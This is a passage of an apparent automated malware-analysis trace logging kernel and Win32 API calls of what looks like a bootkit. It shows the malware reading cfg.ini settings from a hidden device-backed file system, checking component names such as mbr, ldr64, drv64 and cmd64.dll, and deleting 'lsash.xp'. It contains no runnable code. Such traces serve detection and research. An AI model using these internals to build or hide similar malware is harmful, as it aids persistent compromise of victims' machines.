(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.105] KeLeaveCriticalRegion () [0120.105] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.105] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.105] KeEnterCriticalRegion () [0120.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.105] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.105] KeLeaveCriticalRegion () [0120.105] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.106] ReleaseMutex (hMutex=0xf0) returned 1 [0120.106] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.106] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.106] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.106] KeEnterCriticalRegion () [0120.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.106] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.106] IdePortDispatch () returned 0x103 [0120.106] KeWaitForMutexObject () returned 0x0 [0120.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.106] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.106] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.106] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.106] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.106] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da940 [0120.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.106] KeLeaveCriticalRegion () [0120.106] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.106] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.106] KeEnterCriticalRegion () [0120.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.106] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.106] KeLeaveCriticalRegion () [0120.106] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.106] KeEnterCriticalRegion () [0120.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.106] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.106] IdePortDispatch () returned 0x103 [0120.107] KeWaitForMutexObject () returned 0x0 [0120.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.107] KeLeaveCriticalRegion () [0120.107] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.107] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.107] KeEnterCriticalRegion () [0120.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.107] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df6000 [0120.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.107] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.107] IdePortDispatch () returned 0x103 [0120.107] KeWaitForMutexObject () returned 0x0 [0120.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.107] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.107] IdePortDispatch () returned 0x103 [0120.107] KeWaitForMutexObject () returned 0x0 [0120.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.107] KeLeaveCriticalRegion () [0120.108] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.108] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.108] KeEnterCriticalRegion () [0120.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.108] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.108] KeLeaveCriticalRegion () [0120.108] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.108] KeEnterCriticalRegion () [0120.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.108] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.108] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.108] KeLeaveCriticalRegion () [0120.108] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.108] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.108] KeEnterCriticalRegion () [0120.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.108] ExFreePoolWithTag (P=0xfffffa80039da940, Tag=0x0) [0120.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.108] KeLeaveCriticalRegion () [0120.108] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.108] ReleaseMutex (hMutex=0xf0) returned 1 [0120.109] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.109] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.109] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.109] KeEnterCriticalRegion () [0120.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.109] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.109] IdePortDispatch () returned 0x103 [0120.109] KeWaitForMutexObject () returned 0x0 [0120.109] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.109] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.109] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.109] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.109] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.109] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbbb0 [0120.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.109] KeLeaveCriticalRegion () [0120.109] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.109] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.109] KeEnterCriticalRegion () [0120.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.109] KeLeaveCriticalRegion () [0120.109] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.109] KeEnterCriticalRegion () [0120.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.110] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.110] IdePortDispatch () returned 0x103 [0120.110] KeWaitForMutexObject () returned 0x0 [0120.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.110] KeLeaveCriticalRegion () [0120.110] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.110] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.110] KeEnterCriticalRegion () [0120.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df7000 [0120.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.110] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.110] IdePortDispatch () returned 0x103 [0120.110] KeWaitForMutexObject () returned 0x0 [0120.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.110] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.110] IdePortDispatch () returned 0x103 [0120.110] KeWaitForMutexObject () returned 0x0 [0120.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.111] KeLeaveCriticalRegion () [0120.111] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.111] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.111] KeEnterCriticalRegion () [0120.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.111] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.111] KeLeaveCriticalRegion () [0120.111] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.111] KeEnterCriticalRegion () [0120.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.111] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.111] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.111] KeLeaveCriticalRegion () [0120.111] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.111] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.111] KeEnterCriticalRegion () [0120.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.112] ExFreePoolWithTag (P=0xfffffa8003bdbbb0, Tag=0x0) [0120.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.112] KeLeaveCriticalRegion () [0120.112] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.112] ReleaseMutex (hMutex=0xf0) returned 1 [0120.112] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.112] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.112] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.112] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.112] KeEnterCriticalRegion () [0120.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.112] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.112] IdePortDispatch () returned 0x103 [0120.112] KeWaitForMutexObject () returned 0x0 [0120.112] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.112] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.112] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.112] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.112] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.112] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.112] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.112] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.112] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.112] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.113] KeLeaveCriticalRegion () [0120.113] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.113] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.113] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.113] KeEnterCriticalRegion () [0120.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.113] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.113] IdePortDispatch () returned 0x103 [0120.113] KeWaitForMutexObject () returned 0x0 [0120.113] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.113] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.113] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.113] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.113] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.113] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.113] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.113] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.113] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.113] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.113] KeLeaveCriticalRegion () [0120.113] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.113] ReleaseMutex (hMutex=0x100) returned 1 [0120.113] Sleep (dwMilliseconds=0x2bf20) [0120.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6acaf350, dwHighDateTime=0x1d24fa4)) [0120.120] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.120] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.120] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.120] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.120] KeEnterCriticalRegion () [0120.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.120] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.120] IdePortDispatch () returned 0x103 [0120.120] KeWaitForMutexObject () returned 0x0 [0120.120] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.120] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.120] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.120] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.120] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.120] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2940 [0120.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.120] KeLeaveCriticalRegion () [0120.120] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.120] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.120] KeEnterCriticalRegion () [0120.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.120] KeLeaveCriticalRegion () [0120.120] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.121] KeEnterCriticalRegion () [0120.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.121] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.121] IdePortDispatch () returned 0x103 [0120.121] KeWaitForMutexObject () returned 0x0 [0120.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.121] KeLeaveCriticalRegion () [0120.121] IofCompleteRequest (Irp=0xfffffa8007ffba30, 